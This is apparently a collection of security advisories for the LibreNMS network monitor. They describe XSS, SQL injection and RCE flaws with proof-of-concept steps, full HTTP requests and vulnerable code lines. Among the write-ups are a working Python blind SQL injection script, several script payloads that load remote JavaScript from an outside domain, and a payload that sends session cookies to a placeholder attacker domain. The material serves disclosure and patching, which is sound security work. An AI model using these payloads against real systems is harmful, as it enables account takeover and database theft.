LibreNMS through 26.2.0 contains a stored cross-site scripting vulnerability in legacy PHP template pages that render unescaped SNMP-sourced data fields including BGP peer descriptions, VRF names, process information, and SLA tags. Attackers with device management access or network access to enroll a rogue SNMP device can inject malicious JavaScript that executes when admins view affected routing and device pages, enabling credential theft and CSRF token exfiltration.
LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shellexec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.
LibreNMS v25.4.0 suffers from Stored Cross-Site Scripting (XSS) Vulnerability in the 'group name' parameter of the 'http://localhost/poller/groups' form. This vulnerability allows attackers to inject malicious scripts into web pages viewed by other users.
---------------------------------POC----------------------------- Before Setting: Enable 'distributedpoller' in http://localhost/settings/poller/distributed 1. Attacker creates a new poller group and injects the payload in the 'group name' parameter payload: <script>alert('XSS')</script> 2. Victim navigates to the 'http://localhost/addhost' to add a new host 3. The payload is executed
code sink: https://github.com/librenms/librenms/blob/25.4.0/includes/html/pages/addhost.inc.php#L284
Cross-site Scripting (XSS) - Generic in GitHub repository librenms/librenms prior to 22.10.0.
Description:
XSS on the parameters (Replace $DEVICEID with your specific $DEVICEID value):/device/$DEVICEID/edit -> param: display
of Librenms versions 24.9.0, 24.10.0, and 24.10.1 (https://github.com/librenms/librenms) allows remote attackers to inject malicious scripts. When a user views or interacts with the page displaying the data, the malicious script executes immediately, leading to potential unauthorized actions or data exposure.
Proof of Concept: 1. Add a new device through the LibreNMS interface. 2. Edit the newly created device by going to the "Device Settings" section. 3. In the "Display Name" field, enter the following payload: "><script>alert(1)</script>. !Screenshot from 2024-11-06 09-41-37
4. Save the changes. 5. The XSS payload triggers when accessing the "/apps" path (if an application was previously added). !Screenshot from 2024-11-06 09-42-05 Additional PoC: 1. In the "Display Name" field, enter the following payload: "><img src onerror="alert(1)">. !image
2. The XSS vulnerability is triggered when accessing the "/ports" path, and the payload executes when hovering over the modified value in the "Port" field. !image - on /device/$DEVICEID/ports/arp path: !image
- on /device/$DEVICEID/logs path: !image
- on /search/search=arp/ path: !image
Impact:
Execution of Malicious Code
StoredXSS-LibreNMS-Display Name 2
Description:
XSS on the parameters (Replace $DEVICEID with your specific $DEVICEID value):/device/$DEVICEID/edit -> param: display
of Librenms versions 24.11.0 (https://github.com/librenms/librenms) allows remote attackers to inject malicious scripts. When a user views or interacts with the page displaying the data, the malicious script executes immediately, leading to potential unauthorized actions or data exposure.
Proof of Concept: 1. Add a new device through the LibreNMS interface. 2. Edit the newly created device by going to the "Device Settings" section. 3. In the "Display Name" field, enter the following payload: "><img src onerror="alert(document.cookie)">. !image 4. Save the changes. 5. The XSS payload is triggered when navigating to the path /device/$DEVICEID/logs and hovering over a type containing a tag (such as Core 1 in the image). !image
Impact:
Execution of Malicious Code
Cross-site Scripting (XSS) - Stored in GitHub repository librenms/librenms prior to 22.10.0.
Cross-site Scripting (XSS) - Stored in GitHub repository librenms/librenms prior to 22.10.0.
Deserialization of Untrusted Data in GitHub repository librenms/librenms prior to 22.10.0.
A stored cross-site scripting (XSS) vulnerability in the Device Settings section of LibreNMS v24.9.0 to v24.10.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Display Name parameter.
librenms is a community-based GPL-licensed network monitoring system. Affected versions are subject to Cross-site Scripting (XSS) on the parameters:/addhost -> param: community. Librenms versions up to 24.10.1 allow remote attackers to inject malicious scripts. When a user views or interacts with the page displaying the data, the malicious script executes immediately, leading to potential unauthorized actions or data exposure. This issue has been addressed in release version 24.11.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.
StoredXSS-LibreNMS-MiscSection
Description:
Stored XSS on the parameter: ajaxform.php -> param: state
Request: http POST /ajaxform.php HTTP/1.1 Host: <yourhost> X-Requested-With: XMLHttpRequest X-CSRF-TOKEN: <yourXSRFtoken> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: <yourcookie>
type=override-config&deviceid=1&attrib=overrideicmpdisable&state="><img%20src%20onerror="alert(1)">
of Librenms version 24.10.1 (https://github.com/librenms/librenms) allows remote attackers to inject malicious scripts. When a user views or interacts with the page displaying the data, the malicious script executes immediately, leading to potential unauthorized actions or data exposure.
The vulnerability in the line: php $attribval = getdevattrib($device, $name); within the dynamicoverrideconfig function arises because the value of $attribval is retrieved from untrusted data without any sanitization or encoding (at Line 778).
When dynamicoverrideconfig is called, the unescaped $attribval is injected directly into the HTML (at misc.inc.php).
Proof of Concept: 1. Add a new device through the LibreNMS interface. 2. Edit the newly created device and select the Misc section. 3. In any of the following fields: "Override default ssh port", "Override default telnet port", "Override default http port" or "Unix agent port", enter the payload: "><img src onerror="alert(document.cookie)">. 4. Save the changes. 5. Observe that when the page loads, the XSS payload executes, triggering a popup that displays the current cookies.
!image !image
Impact:
Execution of Malicious Code
StoredXSS-LibreNMS-Ports
Description:
Stored XSS on the parameter: /ajaxform.php -> param: descr
Request: http POST /ajaxform.php HTTP/1.1 Host: <yourhost> X-Requested-With: XMLHttpRequest X-CSRF-TOKEN: <yourXSRFtoken> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: <yourcookie>
type=update-ifalias&descr=%22%3E%3Cimg+src+onerror%3D%22alert(1)%22%3E&ifName=lo&portid=1&deviceid=1
of Librenms version 24.10.1 (https://github.com/librenms/librenms) allows remote attackers to inject malicious scripts. When a user views or interacts with the page displaying the data, the malicious script executes immediately, leading to potential unauthorized actions or data exposure.
Proof of Concept: 1. Add a new device through the LibreNMS interface. 2. Edit the newly created device and select the "ports" section. 3. In the "Description" field, enter the following payload: "><img src onerror="alert(1)">. 4. Save the changes. 5. The XSS vulnerability is triggered when accessing the "ports" tab, and the payload is executed again when hovering over the modified value in the "Port" field.
Payload: !payload
Executes: !image The script execution vulnerability in the description field, as shown in the image, occurs at Line 63 of functions.inc.php php $overlibcontent = '<div class=overlib><span class=overlib-text>' . $text . '</span><br />';
!image
Impact:
Execution of Malicious Code
Summary Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0
Details in file apifunctions.php, line 307 for function listdevices
php $order = $request->get('order'); $type = $request->get('type'); $query = $request->get('query'); $param = [];
if (empty($order)) { $order = 'hostname'; }
if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) { $order = 'd.' . $order . ' ASC'; } / ... / $devices = []; $devquery = "SELECT $select FROM devices AS d $join WHERE $sql GROUP BY d.hostname ORDER BY $order"; foreach (dbFetchRows($devquery, $param) as $device) { The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.
PoC For example. this PoC is get current db user python import string import requests
headers = { 'X-Auth-Token': 'tokenstring' } req = requests.Session() payloads = '-@.,' + string.digits + string.asciiletters url = 'http://host/api/v0/devices?order=deviceid and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.deviceid' result = 'user: ' for i in range(10): for payload in payloads: try: req.get(url % (i+1, ord(payload)), headers=headers, timeout=3) except requests.exceptions.ReadTimeout as ex: result += payload print(result), except Exception as e: pass !QQ截图20240306181404
Impact Attacker can extract whole database
Summary There is improper sanitization on Service template name which is reflecting in delete button onclick event. This value can be modified and crafted as any other javascript code.
Vulnerable Code https://github.com/librenms/librenms/blob/a61c11db7e8ef6a437ab55741658be2be7d14d34/app/Http/Controllers/ServiceTemplateController.php#L67C23-L67C23
Above is vulnerable code line which needs to be properly sanitized
PoC 1. Go to /services/templates 2. Enter name as testing', '14', 'http://172.105.62.194:8000/services/templates/14');alert(1);// 3. Submit it and try to delete it, you will see popup
If you inspect element on delete button, you will notice this:- <img width="748" alt="Screenshot 2023-11-23 at 9 30 24 PM" src="https://user-images.githubusercontent.com/31764504/285260018-7672a93d-e29b-4444-8057-e6ffcb8dabfc.png">
Impact Cross site scripting can lead to cookie stealing or an attacker can execute any other feature using this feature.
Summary SQL injection vulnerability in POST /search/search=packages in LibreNMS 24.3.0 allows a user with global read privileges to execute SQL commands via the package parameter.
Details There is a lack of hygiene of data coming from the user in line 83 of the file librenms/includes/html/pages/search/packages.inc.php !vulnerability
PoC https://doc.clickup.com/9013166444/p/h/8ckm0bc-53/16811991bb5fff6
Impact With this vulnerability, we can exploit a SQL injection time based vulnerability to extract all data from the database, such as administrator credentials
Summary Stored Cross-Site Scripting (XSS) can archive via Uploading a new Background for a Custom Map.
Details Users with "admin" role can set background for a custom map, this allow the upload of SVG file that can contain XSS payload which will trigger onload. This led to Stored Cross-Site Scripting (XSS).
PoC 1. Login using an Admin role account.
2. Go over to "$URL/maps/custom", the Manage Custom Maps. !image
3. Create a new map then choose to edit it. 4. Choose the "Set Background" option. !image
5. Choose to upload a SVG file that have this content. svg <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"> <circle cx="50" cy="50" r="40" /> </svg>
6. Once uploaded, there should be a link to the SVG return in the POST request to the API "$URL/maps/custom/1/background". !image
7. Go over to that link on browser, should see a pop-up. !image
Impact Attacker can use this to perform malicious java script code for malicious intent. This would impact other Admin role users and the Global Read role users. Normal users does not have permission to read the file, so they are not affected.
Summary A Self Cross-Site Scripting (Self-XSS) vulnerability in the "Alert Templates" feature allows users to inject arbitrary JavaScript into the alert template's name. This script executes immediately upon submission but does not persist after a page refresh.
Details The vulnerability occurs when creating an alert template in the LibreNMS interface. Although the application sanitizes the "name" field when storing it in the database, this newly created template is immediately added to the table without any sanitization being applied to the name, allowing users to inject arbitrary JavaScript. This script executes when the template is created but does not persist in the database, thus preventing stored XSS.
For instance, the following payload can be used to exploit the vulnerability: test1<script>{onerror=alert}throw 1337</script>
The root cause of this vulnerability lies in the lack of sanitization of the "name" variable before it is rendered in the table. The vulnerability exists because the bootgrid function of the jQuery grid plugin does not sanitize the text being added to the table. Although tags are stripped before being added to the database (as shown in the code below), the vulnerability still allows Self-XSS during the creation of the template.
Where the variable is being sanitized before being stored in the database: https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/forms/alert-templates.inc.php#L40
Where the vulnerability is happening: https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/modal/alerttemplate.inc.php#L205
PoC 1. Navigate to the "Alert Templates" creation page in the LibreNMS interface. 2. In the "Name" field, input the following payload: test1<script>{onerror=alert}throw 1337</script> 3. Submit the form to create the alert template. 4. Observe that the JavaScript executes immediately, triggering an alert popup. However, this code does not persist after refreshing the page.
Impact This is a Self Cross-Site Scripting (Self-XSS) vulnerability. Although the risk is lower compared to traditional XSS, it can still be exploited through social engineering or tricking users into entering or interacting with malicious code. This can lead to unauthorized actions or data exposure in the context of the affected user's session.
Summary The application fail to sanitising inputs properly and rendering the code from user input to browser which allow an attacker to execute malicious javascript code.
Details User with Admin role can create a Device Groups, the application did not properly sanitize the user input in the Device Groups name, when user see the detail of the Device Group, if java script code is inside the name of the Device Groups, its will be trigger.
PoC 1. Login as an Admin role user. Then go over to "$URL/device-groups"
2. Create a new Device Group with this payload in their name js <img src="x" onerror="alert(document.cookie)"> !image
3. Go over to the detail page of that Device Groups, in this case "$URL/devices/group=2". Will see a pop-up. !image
Impact Attacker can use this to perform malicious java script code for malicious intent. This would impact all users as anyone can have access to the detail page of the device group.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Manage User Access" page allows authenticated users to inject arbitrary JavaScript through the "billname" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the "Bill Access" dropdown in the user's "Manage Access" page, potentially compromising user sessions and allowing unauthorized actions.
Details When creating a new bill, an attacker can inject the following XSS payload into the "billname" parameter: test1'"><script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers in the "Bill Access" dropdown when the user's "Manage Access" page is visited. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/edituser.inc.php#L309
PoC 1. Create a new bill using the following payload in the "billname" parameter: test1'"><script/src=//15.rs> 2. Save the bill. 3. Navigate to the "Manage Access" page for the user. 4. Observe that the injected script executes in the "Bill Access" dropdown.
Example Request: http POST /bill/billid=2/view=edit/ HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded Cookie: <yourcookie>
token=<yourtoken>&action=updatebill&billname=test1%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&billtype=cdr&billcdr=&billcdrtype=Kbps&dir95th=in&billquota=&billquotatype=MB&billday=1&billcustid=test2%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&billref=test3%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&billnotes=test4%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&Submit=Save
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Manage Access" page. The attacker can perform unauthorized actions or compromise user accounts by exploiting this vulnerability.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Custom OID" tab of a device allows authenticated users to inject arbitrary JavaScript through the "unit" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.
Details When creating a new OID for a device, an attacker can inject an XSS payload into the "unit" parameter. This payload is reflected in the "Unit" column of the table displayed in the "Custom OID" tab of the device.
The payload used to exploit this vulnerability is: <script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The vulnerability is due to improper sanitization of the "unit" parameter before rendering it in the HTML output. The sink is as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/print-customoid.php#L90
PoC 1. Create a new OID for a device using the following payload in the "unit" parameter: <script/src=//15.rs> 2. Save the OID. 3. Navigate to the "Custom OID" tab of the device. 4. Observe that the injected script executes in the "Unit" column of the table.
Example Request: http POST /ajaxform.php HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: <yourtoken> X-Requested-With: XMLHttpRequest Cookie: <yourcookie>
deviceid=15&devicename=test4'&ccustomoidid=2&type=customoid&action=save&name=test1<script>{onerror=alert}throw+'OID'</script>&oid=test2<script>{onerror=alert}throw+'OID'</script>&unit=<script/src=//15.rs>&divisor=1&multiplier=1&userfunc=test4<script>{onerror=alert}throw+'OID'</script>&limit=0&limitlow=0&limitwarn=0&limitlowwarn=0&passed=on
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Custom OID" tab of the device. This could lead to the compromise of user accounts and unauthorized actions being performed on their behalf.
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.
Details
The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column.
The payload used to exploit this vulnerability is: '"><script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The vulnerability is due to insufficient sanitization of the "tokenhash" variable before it is output in the HTML. This is evident in the following lines of code:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153
PoC
1. Create a new API token with the following payload in the "token" parameter: '"><script/src=//15.rs></script> 2. Save the token. 3. Navigate to the API Access page. 4. Observe that the injected script executes twice, once in the "Token Hash" column and once in the "QR Code" column.
http POST /ajaxform.php HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: <yourtoken> X-Requested-With: XMLHttpRequest Cookie: <yourcookie>
token=<yourtoken>&userid=1&token='"><script/src=//15.rs></script>&description=t'"><script/src=//15.rs>&type=token-item-create
Impact
The vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.
Details When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attackerdomain>/logger.php?c='+document.cookie"
(Note: You may need to URL-encode the '+' sign in the payload.)
The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.
The vulnerability is due to insufficient sanitization of the "url" variable before it is output in the HTML. This is evident in the following lines of code:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/capture.inc.php#L55
PoC 1. Create a new device with the following payload in the "hostname" parameter: test'" autofocus onfocus="document.location='https://<attackerdomain>/logger.php?c='+document.cookie" 2. Save the device. 3. Navigate to the "Capture Debug Information" page for the device. 4. Observe that the injected script triggers and redirects the user to the attacker's domain, sending cookies.
Example Request: http POST /addhost HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded Cookie: <yourcookie>
token=<yourtoken>&hostname=test%27%22+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%2F<attackerdomain>%2Flogger.php%3Fc%3D%27%2bdocument.cookie%22&snmp=on&sysName=&hardware=&os=&osid=&snmpver=v2c&port=&transport=udp&portassocmode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&forceadd=on&Submit=
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Capture Debug Information" page of the device. The attacker can redirect the user to a malicious domain and capture non-httponly cookies, potentially compromising the user's account and allowing unauthorized actions.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the "Port Settings" page is visited, potentially compromising the user's session and allowing unauthorized actions.
Details When editing a device's port settings, an attacker can inject the following XSS payload into the "descr" parameter: lo'"><script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the "Port Settings" page is visited, exploiting the $port->ifAlias variable in the application. The sink is located here: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L82
PoC 1. Edit a device's port settings using the following payload in the "descr" parameter: lo'"><script/src=//15.rs> 2. Save the changes. 3. Navigate to the "Port Settings" page of the device. 4. Observe that the injected script executes.
Example Request: http POST /ajaxform.php HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: <yourtoken> X-Requested-With: XMLHttpRequest Cookie: <yourcookie>
type=update-ifalias&descr=lo'%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&ifName=lo&portid=1&deviceid=1
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of the device. This could lead to the compromise of user accounts and unauthorized actions performed on their behalf.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.
Details When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter: <script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69
PoC 1. Create a new Port Group using the following payload in the "name" parameter: name<script/src=//15.rs></script> 2. Add the Port Group to a device's port settings. 3. Reload the "Port Settings" page. 4. Observe that the injected script executes.
Example Request: http POST /port-groups HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded Cookie: <yourcookie>
token=<yourtoken>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwriteip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.
Details
The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwriteip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded.
The payload used to exploit this vulnerability is: test'"><script src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The root cause of this vulnerability is the application's failure to properly sanitize the "overwriteip" value before including it in the HTML output. This is evident in the following line of code:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42
PoC
1. Edit a device and use the following payload in the "overwriteip" parameter: test'"><script src=//15.rs></script> 2. Save the changes. 3. Navigate to the device overview page. 4. Observe that the injected script executes in the "Assigned IP" field.
http POST /device/14/edit HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded Cookie: <yourcookie>
token=<yourtoken>&editing=yes&display=&overwriteip=test'"><script+src=//15.rs></script>&descr=&type=&parentid%5B%5D=15&Submit=
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" section of the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions.
Details When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "name" parameter. This payload is then reflected in the "Services" section of the "Overview" page of the device. It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajaxform.php request with the "type=create-service").
The payload used to exploit this vulnerability is: Name'"><script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The root cause is the application's failure to sanitize the "name" parameter before outputting it in the HTML. The sinks are as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview/services.inc.php#L36 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview.inc.php#L74
PoC 1. Create a service for a device using the following payload in the "name" parameter: Name'"><script/src=//15.rs></script> 2. Save the service. 3. Navigate to the "Overview" page of the device. 4. Observe that the injected script executes in the "Services" section of the page.
Example Request:
http POST /device/15/edit/section=services HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded Cookie: <yourcookie>
token=<yourtoken>&name=Name'"><script/src=//15.rs></script>&addsrv=yes&device=15&type=pollen&descr=Descr'"><script/src=//15.rs></script>&ip=IP'"><script/src=//15.rs></script>¶ms=Params'"><script/src=//15.rs></script>&Submit=
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Services" section of the device's overview page. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" tab of the Device page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions.
Details When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "descr" parameter. This payload is reflected in the "Services" tab of the device (URL: "/device/15/services"). It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajaxform.php request with the "type=create-service").
The payload used to exploit this vulnerability is: Descr'"><script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The root cause is the application's failure to sanitize the "descr" parameter before outputting it in the HTML. The sink is as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/services.inc.php#L87
PoC 1. Create a service for a device using the following payload in the "descr" parameter: Descr'"><script/src=//15.rs></script> 2. Save the service. 3. Navigate to the "Services" tab of the device. 4. Observe that the injected script executes in the "Services" tab.
Example Request: http POST /device/15/edit/section=services HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded Cookie: <yourcookie>
token=<yourtoken>&name=Name'"><script/src=//15.rs></script>&addsrv=yes&device=15&type=pollen&descr=Descr'"><script/src=//15.rs></script>&ip=IP'"><script/src=//15.rs></script>¶ms=Params'"><script/src=//15.rs></script>&Submit=
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Services" tab of the device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
Summary A Reflected Cross-Site Scripting (XSS) vulnerability in the "metric" parameter of the "/wireless" and "/health" endpoints allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "metric" parameter, potentially compromising their session and allowing unauthorized actions.
Details The "/wireless" and "/health" endpoints are vulnerable to reflected XSS in the "metric" parameter. An attacker can inject the following XSS payload into the "metric" parameter: <script>constructor'constructor')();<!---->
When the page is loaded with this malicious parameter, the script executes immediately. The vulnerability occurs due to improper sanitization of the "metric" parameter in the following sinks: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/wireless.inc.php#L82 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/health.inc.php#L114
PoC 1. Inject the following payload into the "metric" parameter of the "/wireless" or "/health" endpoint: <script>constructor'constructor')();<!----> 2. Access the page with the injected payload. 3. Observe that the injected script executes upon loading the page.
Example URL: http://<yoururl>/wireless/metric=%3Cscript%3Econstructor'constructor')();%3C!----%3E
Example Request: http GET /wireless/metric=%3Cscript%3Econstructor%27constructor%27)();%3C!----%3E HTTP/1.1 Host: <yourhost> Cookie: <your cookies>
Impact
This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.
Summary A Reflected Cross-Site Scripting (XSS) vulnerability in the "section" parameter of the "logs" tab of a device allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "section" parameter, potentially compromising their session and enabling unauthorized actions. The issue arises from a lack of sanitization in the "reportthis()" function.
Details The "section" parameter of the "logs" tab is vulnerable to reflected XSS. An attacker can inject the following XSS payload into the "section" parameter: <script>constructor'constructor')();<%2fscript>
When the page is loaded with this malicious parameter, the script executes immediately. This vulnerability occurs due to the lack of sanitization in the "reportthis()" function. Other endpoints using this same function may also be vulnerable.
The vulnerable sink is located here: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/functions.php#L523 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/logs.inc.php#L93
PoC 1. Inject the following payload into the "section" parameter of the "logs" tab: <script>constructor'constructor')();<%2fscript> 2. Access the page with the injected payload. 3. Observe that the injected script executes when the page is loaded.
Example URL: http://<yoururl>/device/device=1/tab=logs/section=%3Cscript%3Econstructor'constructor')();%3C%2fscript%3E/
Example Request: http GET /device/device=1/tab=logs/section=%3Cscript%3Econstructor'constructor')();%3C%2fscript%3E/ HTTP/1.1 Host: <yourhost> Cookie: <yourcookie>
Impact
This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.